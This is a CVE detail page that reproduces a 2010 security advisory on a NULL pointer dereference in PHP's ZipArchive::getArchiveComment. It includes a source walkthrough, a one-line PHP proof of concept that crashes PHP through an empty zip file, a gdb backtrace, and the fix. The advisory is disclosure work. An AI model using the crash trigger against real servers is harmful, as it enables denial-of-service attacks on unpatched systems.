CVE-2010-3709 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

[ PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - Dis.: 14.09.2010 - Pub.: 05.11.2010 CVE: CVE-2010-3709 CWE: CWE-476 Status: Fixed in CVS Affected Software: - PHP 5.3.3 - PHP 5.2.14 Original URL: http://securityreason.com/achievement_securityalert/90 --- 0.Description --- ZipArchive enables you to transparently read or write ZIP compressed archives and the files inside them. ZipArchive::getArchiveComment — Returns the Zip archive comment string ZipArchive::getArchiveComment ( void ) --- 1. PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment (CWE-476) --- As we can see in http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?re vision=303622&view=markup --- 1945 static ZIPARCHIVE_METHOD(getArchiveComment) 1946 { 1947 struct zip *intern; 1948 zval *this = getThis(); 1949 long flags = 0; 1950 const char * comment; 1951 int comment_len = 0; 1952 1953 if (!this) { 1954 RETURN_FALSE; 1955 } 1956 1957 ZIP_FROM_OBJECT(intern, this); 1958 1959 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags) == FAILURE) { 1960 return; 1961 } 1962 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); <==== RETURN NULL AND -1 1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL POINTER DEFERENCE HERE 1965 } --- this method return string from zip_get_archive_comment() function. Now we need see this function, http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_get_ archive_comment.c?revision=284361&view=markup --- 40 ZIP_EXTERN(const char *) 41 zip_get_archive_comment(struct zip *za, int *lenp, int flags) 42 { 43 if ((flags & ZIP_FL_UNCHANGED) 44 || (za->ch_comment_len == -1)) { 45 if (za->cdir) { 46 if (lenp != NULL) 47 *lenp = za->cdir->comment_len; 48 return za->cdir->comment; 49 } 50 else { 51 if (lenp != NULL) 52 *lenp = -1; <===================== -1 53 return NULL; <==================== NULL 54 } 55 } 56 57 if (lenp != NULL) 58 *lenp = za->ch_comment_len; 59 return za->ch_comment; 60 } --- line 52 and 53 should return NULL pointer and (int)-1. In result RETURN_STRINGL() will be executed with: RETURN_STRINGL(NULL, -1, 1); and crash in memcpy(3). --- 2. PoC --- cx@cx64:/www$ touch empty.zip cx@cx64:/www$ php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' Segmentation fault Debug: cx@cx64:/www$ gdb -q php Reading symbols from /usr/bin/php...(no debugging symbols found)...done. (gdb) r -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' Starting program: /usr/bin/php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();' [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00007ffff530edbb in memcpy () from /lib/libc.so.6 (gdb) bt #0 0x00007ffff530edbb in memcpy () from /lib/libc.so.6 #1 0x0000000000679fa8 in _estrndup () #2 0x00000000006371e5 in ?? () #3 0x00000000006e793a in ?? () #4 0x00000000006bec20 in execute () #5 0x000000000068b44a in zend_eval_stringl () #6 0x000000000068b5c9 in zend_eval_stringl_ex () #7 0x000000000072743e in ?? () #8 0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6 #9 0x000000000042c6a9 in _start () (gdb) x/i $rip => 0x7ffff530edbb <memcpy+347>: rep movsq %ds:(%rsi),%es:(%rdi) (gdb) x/x $rsi 0x0: Cannot access memory at address 0x0 (gdb) x/x $rbp 0xffffffff: Cannot access memory at address 0xffffffff --- 3. Fix --- Fix: Replace 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); 1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1); to 1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags); 1964 if(comment==NULL) RETURN_FALSE; 1965 RETURN_STRINGL((char *)comment, (long)comment_len, 1); PHP 5.3: http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?vi ew=log PHP 5.2: http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?vi ew=log MDVSA-2010:218 --- 4. Greets --- Special thanks for Pierre Joye sp3x, Infospec, Adam Zabrocki 'pi3' --- 5. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - cxib {a\./t] securityreason [d=t} com GPG: - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://cxib.net/